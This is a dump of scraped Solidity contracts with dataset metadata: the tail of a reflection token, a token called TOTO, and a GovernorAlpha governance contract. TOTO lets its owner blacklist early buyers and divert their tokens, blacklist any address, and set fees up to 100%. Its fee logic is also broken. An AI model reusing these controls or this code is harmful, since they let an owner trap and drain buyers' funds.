_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,
0,
path,
address(this),
block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0xF491e7B69E4244ad4002BC14e878a34207E38c29);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 40000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 309,707 | 11,794 |
dd86a4d602ecb979e0f211600f6a2e9ef3c15ed9db74f3dd5a7e19cd85849af5
| 27,761 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/62/62342ee25604473a36a9cff09841ea1edc6c2bef_TOTO.sol
| 5,424 | 21,508 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function getTime() public view returns (uint256) {
return block.timestamp;
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name_, string memory symbol_,uint8 decimals_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Pair {
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}
contract usdtReceiver {
address public usdt;
address public owner;
constructor(address _u) {
usdt = _u;
owner = msg.sender;
IERC20(usdt).approve(msg.sender,~uint256(0));
}
}
contract TOTO is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapPair;
bool private swapping;
uint256 public rewardsFee = 1;
uint256 public marketingFee = 1;
address public deadWallet = 0x000000000000000000000000000000000000dEaD;
address public usdtAddress;
address public _marketingWalletAddress;
address public rewardsAddress;
uint256 public gasForProcessing;
uint256 currentIndex;
uint256 public LPFeeRewardsTimes;
uint256 public minLPFeeRewards;
uint256 public first;
uint256 public kill = 0;
uint256 public processRewardWaitBlock = 20;
mapping(address => bool) public _isBlacklisted;
// exlcude from fees and max transaction amount
mapping(address => bool) private _isExcludedFromFees;
// Whether to distribute dividends in local currency
bool public currencyFlag = true;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping(address => bool) public automatedMarketMakerPairs;
mapping(address => bool) private _updated;
address[] public shareholders;
mapping(address => uint256) shareholderIndexes;
event UpdateDividendTracker(address indexed newAddress, address indexed oldAddress);
event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event ExcludeFromFees(address indexed account, bool isExcluded);
event ExcludeMultipleAccountsFromFees(address[] accounts, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event LiquidityWalletUpdated(address indexed newLiquidityWallet, address indexed oldLiquidityWallet);
event GasForProcessingUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event SwapAndLiquify(uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity);
event SendDividends(uint256 tokensSwapped,
uint256 amount);
event ProcessedDividendTracker(uint256 iterations,
uint256 claims,
uint256 lastProcessedIndex,
bool indexed automatic,
uint256 gas,
address indexed processor);
constructor(string memory name_,
string memory symbol_,
uint256 totalSupply_,
uint8 decimals_,
address[3] memory addrs, // router,markting,usdtAddress
address owner_) payable ERC20(name_, symbol_,decimals_) {
_marketingWalletAddress = addrs[1];
usdtAddress = addrs[2];
rewardsAddress = address(this);
uint256 totalSupply = totalSupply_ * (10 ** decimals_);
minLPFeeRewards = (10 ** decimals_); // min Lp Rewards Dividend
// use by default 300,000 gas to process auto-claiming dividends
gasForProcessing = 300000;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(addrs[0]);
address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), usdtAddress);
uniswapV2Router = _uniswapV2Router;
uniswapPair = _uniswapV2Pair;
_setAutomatedMarketMakerPair(_uniswapV2Pair, true);
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(owner_, true);
excludeFromFees(_marketingWalletAddress, true);
excludeFromFees(address(this), true);
_mint(owner_, totalSupply);
}
receive() external payable {}
function updateUniswapV2Router(address newAddress) public onlyOwner {
require(newAddress != address(uniswapV2Router), "The router already has that address");
emit UpdateUniswapV2Router(newAddress, address(uniswapV2Router));
uniswapV2Router = IUniswapV2Router02(newAddress);
address _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())
.createPair(address(this), uniswapV2Router.WETH());
uniswapPair = _uniswapV2Pair;
_setAutomatedMarketMakerPair(_uniswapV2Pair, true);
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
if (_isExcludedFromFees[account] != excluded) {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for (uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFees[accounts[i]] = excluded;
}
emit ExcludeMultipleAccountsFromFees(accounts, excluded);
}
function multipleBotlistAddress(address[] calldata accounts, bool excluded) public onlyOwner {
for (uint256 i = 0; i < accounts.length; i++) {
_isBlacklisted[accounts[i]] = excluded;
}
}
function setMarketingWallet(address payable wallet) external onlyOwner{
_marketingWalletAddress = wallet;
_isExcludedFromFees[_marketingWalletAddress] = true;
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapPair, "The PancakeSwap pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
require(automatedMarketMakerPairs[pair] != value, "Automated market maker pair is already set to that value");
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateGasForProcessing(uint256 newValue) public onlyOwner {
require(newValue != gasForProcessing, "Cannot update gasForProcessing to same value");
emit GasForProcessingUpdated(newValue, gasForProcessing);
gasForProcessing = newValue;
}
function isExcludedFromFees(address account) public view returns (bool) {
return _isExcludedFromFees[account];
}
function setBuyTaxes(uint256 _rewardsFee) external onlyOwner {
require(_rewardsFee <= 100, "Total buy fee is over 100%");
rewardsFee = _rewardsFee;
}
function setSelTaxes(uint256 _marketingFee) external onlyOwner {
require(_marketingFee <= 100, "Total sel fee is over 100%");
marketingFee = _marketingFee;
}
function setKing(uint256 newValue) public onlyOwner {
require(newValue <= 100, "newValue must <= 100");
kill = newValue;
}
function setRewardsInfo(uint256 minLpRewards,uint256 waitBlock) public onlyOwner {
minLPFeeRewards = minLpRewards;
processRewardWaitBlock = waitBlock;
}
function _transfer(address from,
address to,
uint256 amount) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!_isBlacklisted[from] && !_isBlacklisted[to], "Blacklisted address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if(automatedMarketMakerPairs[to] && balanceOf(address(uniswapPair)) == 0){
first = block.number;
}
if (!_isExcludedFromFees[from] && !_isExcludedFromFees[to]){
if(automatedMarketMakerPairs[from] && block.number < first + kill){
_isBlacklisted[to] = true;
return super._transfer(from, _marketingWalletAddress, amount);
}
}
bool takeFee = false;
// if any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
if(takeFee) {
uint256 fees;
uint256 RFee; // Rewards
uint256 MFee; // Marketing
bool isAdd;
if (automatedMarketMakerPairs[to]) {
isAdd = _isAddLiquidity();
}
if(isAdd){
}else if(automatedMarketMakerPairs[from]){
// buy
RFee = amount.mul(rewardsFee).div(100);
fees = RFee;
}else if(automatedMarketMakerPairs[to]){
// sell
MFee = amount.mul(marketingFee).div(100);
fees = MFee;
}
amount = amount.sub(fees);
if(RFee > 0){
super._transfer(from, address(this), MFee);
}
if(MFee > 0){
super._transfer(from, _marketingWalletAddress, MFee);
}
}
super._transfer(from, to, amount);
if (from != address(this) && automatedMarketMakerPairs[to]) {
setShare(from);
}
if (!swapping &&
from != address(this) &&
block.number > LPFeeRewardsTimes + processRewardWaitBlock) {
processLpFee(gasForProcessing);
LPFeeRewardsTimes = block.number;
}
}
function _isAddLiquidity() internal view returns (bool isAdd){
IUniswapV2Pair mainPair = IUniswapV2Pair(uniswapPair);
(uint r0,uint256 r1,) = mainPair.getReserves();
address tokenOther = usdtAddress;
uint256 r;
if (tokenOther < address(this)) {
r = r0;
} else {
r = r1;
}
uint bal = IERC20(tokenOther).balanceOf(address(mainPair));
isAdd = bal > r;
}
function addLiquidityUSDT(uint256 tokenAmount, uint256 USDTAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
IERC20(usdtAddress).approve(address(uniswapV2Router),USDTAmount);
// add the liquidity
uniswapV2Router.addLiquidity(address(this),
usdtAddress,
tokenAmount,
USDTAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
_marketingWalletAddress,
block.timestamp);
}
function processLpFee(uint256 gas) private {
uint256 total = IERC20(rewardsAddress).balanceOf(address(this));
uint256 tokens = total;
if(tokens < minLPFeeRewards){
return;
}
uint256 shareholderCount = shareholders.length;
if (shareholderCount == 0) return;
uint256 gasUsed = 0;
uint256 gasLeft = gasleft();
uint256 iterations = 0;
while (gasUsed < gas && iterations < shareholderCount) {
if (currentIndex >= shareholderCount) {
currentIndex = 0;
}
uint256 amount = total.mul(IERC20(uniswapPair).balanceOf(shareholders[currentIndex])).div(IERC20(uniswapPair).totalSupply());
if (tokens < amount) return;
if(amount > 0){
super._transfer(address(this), shareholders[currentIndex], amount);
tokens = tokens.sub(amount);
}
gasUsed = gasUsed.add(gasLeft.sub(gasleft()));
gasLeft = gasleft();
currentIndex++;
iterations++;
}
}
function setShare(address shareholder) private {
uint256 size;
assembly {
size := extcodesize(shareholder)
}
if (size > 0) {
return;
}
if (!_updated[shareholder]) {
addShareholder(shareholder);
_updated[shareholder] = true;
}
}
function addShareholder(address shareholder) internal {
shareholderIndexes[shareholder] = shareholders.length;
shareholders.push(shareholder);
}
}
| 34,097 | 11,795 |
80d1ac97a4286df588822cc353934798d810fcc3c846dad6274d838f9d8def7f
| 15,321 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/74/74C663135b5eBb0C887edf2FDee8B6105d77A160_GovernorAlpha.sol
| 3,505 | 14,596 |
// File: contracts/Governance/GovernorAlpha.sol
pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
contract GovernorAlpha {
/// @notice The name of this contract
string public constant name = "Avastorm Governor Alpha";
function quorumVotes() public pure returns (uint) { return 400000e18; } // 400,000 = 4% of Alt
/// @notice The number of votes required in order for a voter to become a proposer
function proposalThreshold() public pure returns (uint) { return 100000e18; } // 100,000 = 1% of Alt
/// @notice The maximum number of actions that can be included in a proposal
function proposalMaxOperations() public pure returns (uint) { return 10; } // 10 actions
/// @notice The delay before voting on a proposal may take place, once proposed
function votingDelay() public pure returns (uint) { return 1; } // 1 block
/// @notice The duration of voting on a proposal, in blocks
function votingPeriod() public pure returns (uint) { return 17280; } // ~3 days in blocks (assuming 15s blocks)
/// @notice The address of the Avastorm Protocol Timelock
TimelockInterface public timelock;
/// @notice The address of the Avastorm governance token
AltInterface public alt;
/// @notice The address of the Governor Guardian
address public guardian;
/// @notice The total number of proposals
uint public proposalCount;
struct Proposal {
/// @notice Unique id for looking up a proposal
uint id;
/// @notice Creator of the proposal
address proposer;
uint eta;
/// @notice the ordered list of target addresses for calls to be made
address[] targets;
/// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made
uint[] values;
/// @notice The ordered list of function signatures to be called
string[] signatures;
/// @notice The ordered list of calldata to be passed to each call
bytes[] calldatas;
/// @notice The block at which voting begins: holders must delegate their votes prior to this block
uint startBlock;
/// @notice The block at which voting ends: votes must be cast prior to this block
uint endBlock;
/// @notice Current number of votes in favor of this proposal
uint forVotes;
/// @notice Current number of votes in opposition to this proposal
uint againstVotes;
/// @notice Flag marking whether the proposal has been canceled
bool canceled;
/// @notice Flag marking whether the proposal has been executed
bool executed;
/// @notice Receipts of ballots for the entire set of voters
mapping (address => Receipt) receipts;
}
/// @notice Ballot receipt record for a voter
struct Receipt {
/// @notice Whether or not a vote has been cast
bool hasVoted;
/// @notice Whether or not the voter supports the proposal
bool support;
/// @notice The number of votes the voter had, which were cast
uint96 votes;
}
/// @notice Possible states that a proposal may be in
enum ProposalState {
Pending,
Active,
Canceled,
Defeated,
Succeeded,
Queued,
Expired,
Executed
}
/// @notice The official record of all proposals ever proposed
mapping (uint => Proposal) public proposals;
/// @notice The latest proposal for each proposer
mapping (address => uint) public latestProposalIds;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the ballot struct used by the contract
bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)");
/// @notice An event emitted when a new proposal is created
event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description);
/// @notice An event emitted when a vote has been cast on a proposal
event VoteCast(address voter, uint proposalId, bool support, uint votes);
/// @notice An event emitted when a proposal has been canceled
event ProposalCanceled(uint id);
/// @notice An event emitted when a proposal has been queued in the Timelock
event ProposalQueued(uint id, uint eta);
/// @notice An event emitted when a proposal has been executed in the Timelock
event ProposalExecuted(uint id);
constructor(address timelock_, address alt_, address guardian_) public {
timelock = TimelockInterface(timelock_);
alt = AltInterface(alt_);
guardian = guardian_;
}
function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) {
require(alt.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold(), "GovernorAlpha::propose: proposer votes below proposal threshold");
require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch");
require(targets.length != 0, "GovernorAlpha::propose: must provide actions");
require(targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions");
uint latestProposalId = latestProposalIds[msg.sender];
if (latestProposalId != 0) {
ProposalState proposersLatestProposalState = state(latestProposalId);
require(proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: one live proposal per proposer, found an already active proposal");
require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: one live proposal per proposer, found an already pending proposal");
}
uint startBlock = add256(block.number, votingDelay());
uint endBlock = add256(startBlock, votingPeriod());
proposalCount++;
Proposal memory newProposal = Proposal({
id: proposalCount,
proposer: msg.sender,
eta: 0,
targets: targets,
values: values,
signatures: signatures,
calldatas: calldatas,
startBlock: startBlock,
endBlock: endBlock,
forVotes: 0,
againstVotes: 0,
canceled: false,
executed: false
});
proposals[newProposal.id] = newProposal;
latestProposalIds[newProposal.proposer] = newProposal.id;
emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description);
return newProposal.id;
}
function queue(uint proposalId) public {
require(state(proposalId) == ProposalState.Succeeded, "GovernorAlpha::queue: proposal can only be queued if it is succeeded");
Proposal storage proposal = proposals[proposalId];
uint eta = add256(block.timestamp, timelock.delay());
for (uint i = 0; i < proposal.targets.length; i++) {
_queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta);
}
proposal.eta = eta;
emit ProposalQueued(proposalId, eta);
}
function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal {
require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorAlpha::_queueOrRevert: proposal action already queued at eta");
timelock.queueTransaction(target, value, signature, data, eta);
}
function execute(uint proposalId) public payable {
require(state(proposalId) == ProposalState.Queued, "GovernorAlpha::execute: proposal can only be executed if it is queued");
Proposal storage proposal = proposals[proposalId];
proposal.executed = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.executeTransaction.value(proposal.values[i])(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalExecuted(proposalId);
}
function cancel(uint proposalId) public {
ProposalState state = state(proposalId);
require(state != ProposalState.Executed, "GovernorAlpha::cancel: cannot cancel executed proposal");
Proposal storage proposal = proposals[proposalId];
require(msg.sender == guardian || alt.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold(), "GovernorAlpha::cancel: proposer above threshold");
proposal.canceled = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalCanceled(proposalId);
}
function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) {
Proposal storage p = proposals[proposalId];
return (p.targets, p.values, p.signatures, p.calldatas);
}
function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) {
return proposals[proposalId].receipts[voter];
}
function state(uint proposalId) public view returns (ProposalState) {
require(proposalCount >= proposalId && proposalId > 0, "GovernorAlpha::state: invalid proposal id");
Proposal storage proposal = proposals[proposalId];
if (proposal.canceled) {
return ProposalState.Canceled;
} else if (block.number <= proposal.startBlock) {
return ProposalState.Pending;
} else if (block.number <= proposal.endBlock) {
return ProposalState.Active;
} else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes()) {
return ProposalState.Defeated;
} else if (proposal.eta == 0) {
return ProposalState.Succeeded;
} else if (proposal.executed) {
return ProposalState.Executed;
} else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) {
return ProposalState.Expired;
} else {
return ProposalState.Queued;
}
}
function castVote(uint proposalId, bool support) public {
return _castVote(msg.sender, proposalId, support);
}
function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "GovernorAlpha::castVoteBySig: invalid signature");
return _castVote(signatory, proposalId, support);
}
function _castVote(address voter, uint proposalId, bool support) internal {
require(state(proposalId) == ProposalState.Active, "GovernorAlpha::_castVote: voting is closed");
Proposal storage proposal = proposals[proposalId];
Receipt storage receipt = proposal.receipts[voter];
require(receipt.hasVoted == false, "GovernorAlpha::_castVote: voter already voted");
uint96 votes = alt.getPriorVotes(voter, proposal.startBlock);
if (support) {
proposal.forVotes = add256(proposal.forVotes, votes);
} else {
proposal.againstVotes = add256(proposal.againstVotes, votes);
}
receipt.hasVoted = true;
receipt.support = support;
receipt.votes = votes;
emit VoteCast(voter, proposalId, support, votes);
}
function __acceptAdmin() public {
require(msg.sender == guardian, "GovernorAlpha::__acceptAdmin: sender must be gov guardian");
timelock.acceptAdmin();
}
function __abdicate() public {
require(msg.sender == guardian, "GovernorAlpha::__abdicate: sender must be gov guardian");
guardian = address(0);
}
function __queueSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public {
require(msg.sender == guardian, "GovernorAlpha::__queueSetTimelockPendingAdmin: sender must be gov guardian");
timelock.queueTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta);
}
function __executeSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public {
require(msg.sender == guardian, "GovernorAlpha::__executeSetTimelockPendingAdmin: sender must be gov guardian");
timelock.executeTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta);
}
function add256(uint256 a, uint256 b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "addition overflow");
return c;
}
function sub256(uint256 a, uint256 b) internal pure returns (uint) {
require(b <= a, "subtraction underflow");
return a - b;
}
function getChainId() internal pure returns (uint) {
uint chainId;
assembly { chainId := chainid() }
return chainId;
}
}
interface TimelockInterface {
function delay() external view returns (uint);
function GRACE_PERIOD() external view returns (uint);
function acceptAdmin() external;
function queuedTransactions(bytes32 hash) external view returns (bool);
function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32);
function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external;
function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory);
}
interface AltInterface {
function getPriorVotes(address account, uint blockNumber) external view returns (uint96);
}
